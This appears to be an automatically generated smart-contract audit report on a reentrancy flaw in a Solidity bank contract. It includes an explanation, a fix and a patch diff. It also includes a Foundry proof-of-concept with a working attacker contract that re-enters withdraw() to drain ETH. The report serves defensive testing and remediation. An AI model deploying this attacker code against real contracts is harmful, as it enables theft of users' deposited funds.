# AuditAI Security Report — VulnerableBank.sol

- Report ID: `70f19fee-d0c5-48a3-a822-e6b43962a375`
- Generated At (UTC): `2026-10-09T16:03:19Z`

## Executive Summary
The contract has a high-severity reentrancy vulnerability in `withdraw()` because it sends ETH to `msg.sender` before clearing the sender’s balance. An attacker can re-enter `withdraw()` repeatedly and drain funds.

## Findings (1)
### 1. Reentrancy in withdraw allows repeated withdrawals before balance reset
- Severity: **High**
- Category: Reentrancy
- Line: 13
- Confidence: High

In `withdraw()`, the contract performs an external call to `msg.sender` using `call{value: amount}("")` before updating internal state (`balances[msg.sender] = 0`). If `msg.sender` is a contract, its fallback/receive function can call `withdraw()` again before the balance is zeroed, allowing multiple withdrawals in a single transaction.

**Exploit Scenario**
An attacker deploys a malicious contract, deposits a small amount into `VulnerableBank`, then calls `withdraw()`. During the ETH transfer on line 13, the attack contract’s fallback function re-enters `withdraw()` repeatedly. Because `balances[msg.sender]` is not yet set to 0, each reentrant call sends the same amount again, draining the bank’s ETH (including other users’ deposits) until funds are exhausted.

**Suggested Fix**
```solidity
Apply Checks-Effects-Interactions: set `balances[msg.sender] = 0` before the external call, and optionally add a reentrancy guard (`nonReentrant`). Example: `uint256 amount = balances[msg.sender]; require(amount > 0, "No balance"); balances[msg.sender] = 0; (bool success, ) = msg.sender.call{value: amount}(""); require(success, "Transfer failed");`.
```

## Generated PoC
- PoC ID: `9dcbcb86-651c-4220-8d3c-382ccff7fd21`
- Vulnerability Type: `reentrancy`
- Source Finding ID: `VULN-001`
- Foundry Test File: `test/VulnerableBank.PoC.t.sol`

### Foundry Test Code
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "forge-std/Test.sol";

interface IVulnerableTarget {
    function deposit() external payable;
    function withdraw() external;
    function balances(address user) external view returns (uint256);
}

contract ReentrancyAttacker {
    IVulnerableTarget public target;
    uint256 public loops;
    uint256 public maxLoops;

    constructor(address _target) {
        target = IVulnerableTarget(_target);
    }

    function attack(uint256 _maxLoops) external payable {
        require(msg.value > 0, "need ETH");
        maxLoops = _maxLoops;
        target.deposit{value: msg.value}();
        target.withdraw();
    }

    receive() external payable {
        if (address(target).balance > 0 && loops < maxLoops) {
            loops++;
            target.withdraw();
        }
    }
}

contract ReentrancyPoCTest is Test {
    // TODO: replace with deployed vulnerable contract address
    address constant TARGET = address(0x1234567890123456789012345678901234567890);

    IVulnerableTarget target;
    ReentrancyAttacker attacker;

    function setUp() public {
        target = IVulnerableTarget(TARGET);
        attacker = new ReentrancyAttacker(TARGET);

        // Fund attacker EOA used to trigger exploit
        vm.deal(address(this), 10 ether);
    }

    function test_reentrancy_drain() public {
        uint256 beforeTargetBalance = address(TARGET).balance;

        // Seed attacker and execute exploit loop
        attacker.attack{value: 1 ether}(5);

        uint256 afterTargetBalance = address(TARGET).balance;
        assertLt(afterTargetBalance, beforeTargetBalance, "target should lose ETH");
        assertGt(address(attacker).balance, 1 ether, "attacker should profit");
    }
}

```

### Patch Diff
```diff
diff --git a/contracts/VulnerableBank.sol b/contracts/VulnerableBank.sol
--- a/contracts/VulnerableBank.sol
+++ b/contracts/VulnerableBank.sol
@@
-    function withdraw() public {
-        uint256 amount = balances[msg.sender];
-        (bool success, ) = msg.sender.call{value: amount}("");
-        require(success, "Transfer failed");
-        balances[msg.sender] = 0;
-    }
+    function withdraw() public {
+        uint256 amount = balances[msg.sender];
+        require(amount > 0, "No balance");
+        balances[msg.sender] = 0;
+        (bool success, ) = msg.sender.call{value: amount}("");
+        require(success, "Transfer failed");
+    }

```

### Verification Steps
- Place generated file under test/ in your Foundry project.
- Set TARGET address and align interface selectors to victim contract.
- Run: forge test --match-test test_reentrancy_drain -vvv (or full suite).
- Apply patch diff on vulnerable function.
- Re-run /scan and forge tests to confirm finding removal and exploit failure.

## Patch Verification
- Verification ID: `cf56afa2-b837-4efc-bf9a-ce46072d7bdb`
- Status: **fixed**
- Target Removed: `True`

### Before
- Findings: 1
- Critical/High/Medium/Low: 0/1/0/0

### After
- Findings: 1
- Critical/High/Medium/Low: 0/0/0/1

---
Generated by AuditAI PoC-first pipeline.
